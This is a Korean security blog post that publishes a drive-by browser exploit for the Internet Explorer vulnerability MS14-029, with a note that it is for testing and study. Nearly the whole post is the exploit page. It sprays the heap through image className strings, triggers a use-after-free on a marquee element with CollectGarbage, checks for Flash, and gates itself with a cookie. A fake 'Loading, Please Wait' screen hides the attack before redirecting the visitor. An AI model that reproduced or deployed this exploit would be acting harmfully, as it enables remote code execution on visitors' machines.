2014년 5월에 패치가된 MS-14-029 취약점 code 입니다.
패치가 안된 시스템에서 해당 패이지를 읽게 되면 원격실행이 되는 코드로 테스트 및 공부용도로만 쓰시기를 바랍니다.
<!doctype html>
<
html
>
<
head
>
<
meta
http-equiv
=
"Cache-Control"
content
=
"no-cache"
/>
<
sc
ript >
function stc()
{
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString();
}
function cid()
{
var swf = 0;
try {
swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {
}
if (!swf)
return 0;
var cookieString = new String(document.cookie);
if(cookieString.indexOf("d93kaj3Nja3") == -1)
{stc(); return 1;}else{ return 0;}
}
String.prototype.repeat=function (i){return new Array(isNaN(i)?1:++i).join(this);}
var tpx=unescape ("%u1414%u1414").repeat(0x60/4-1);
var ll=new Array();
for (i=0;i<
3333
;i++)ll.push(document.createElement("img"));
for(
i
=
0
;i<3333;i++) ll[i]
.className
=
tpx
;
for(
i
=
0
;i<3333;i++) ll[i]
.className
=
""
;
CollectGarbage();
function b2()
{
try{xdd.replaceNode(document.createTextNode(" "));}catch(exception){}
try{
xdd.outerText
=
''
;}catch(exception){}
CollectGarbage();
for(
i
=
0
;i<3333;i++) ll[i]
.className
=
tpx
;
}
function a1(){
if (!cid())
return;
document.body.contentEditable
=
"true"
;
try{xdd.applyElement(document.createElement("frameset"));}catch(exception){}
try{document.selection.createRange().select();}catch(exception){}
}
</ script >
</
head
>
<
body
onload
=
'setTimeout("a1();",2000);'
onresize
=
b2
()>
<
marquee
id
=
xdd
> </
marquee
>
<
object
classid
=
"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
width
=
"1%"
height
=
"1%"
id
=
"FE"
>
<
param
name
=
"movie"
value
=
"storm.swf"
/>
<
param
name
=
"quality"
value
=
"high"
/>
<
param
name
=
"bgcolor"
value
=
"#ffffff"
/>
<
param
name
=
"allowScriptAccess"
value
=
"sameDomain"
/>
<
param
name
=
"allowFullScreen"
value
=
"true"
/>
</
object
>
</
body
>
<
body
>
<
form
name
=
loading
>
¡¡<
p
align
=
center
> <
font
color
=
"#0066ff"
size
=
"2"
> Loading....,Please Wait</
font
> <
font
color
=
"#0066ff"
size
=
"2"
face
=
"verdana"
> ...</
font
>
¡¡¡¡<
input
type
=
text
name
=
chart
size
=
46
style
=
"font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;"
>
¡¡¡¡
¡¡¡¡<
input
type
=
text
name
=
percent
size
=
47
style
=
"color:#0066ff; text-align:center; border-width:medium; border-style:none;"
>
¡¡¡¡<
sc
ript > ¡¡
var bar=0¡¡
var line="||"¡¡
var amount="||"¡¡
count()¡¡
function count(){¡¡
bar=bar+2¡¡
amount =amount + line¡¡
document.loading.chart.value=amount¡¡
document.loading.percent.value=bar+"%"¡¡
if (bar<
99
)¡¡
{setTimeout("count()",500);}¡¡
else¡¡
{
window.location
=
"http://www.google.com"
;}¡¡
}</ script >
¡¡</
p
>
</
form
>
<
p
align
=
"center"
> Wart,<
a
style
=
"text-decoration: none"
href
=
"http://www.google.com"
> <
font
color
=
"#FF0000"
> kick me</
font
> </
a
> .</
p
>
</
body
>
</
html
>
'보안 > 웹' 카테고리의 다른 글
WordPress DDOS 공격 분석 (0) | 2014.09.30 |
---|---|
Bash Vulnerability CVE-2014-6271 Test Tool (0) | 2014.09.26 |
Bash Environment Variables Code Injection Exploit (CVE-2014-6271) (0) | 2014.09.26 |
Http File Server 2.3.x - Remote Command Execution (0) | 2014.09.16 |
PhpWiki - Remote Command Execution (0) | 2014.09.09 |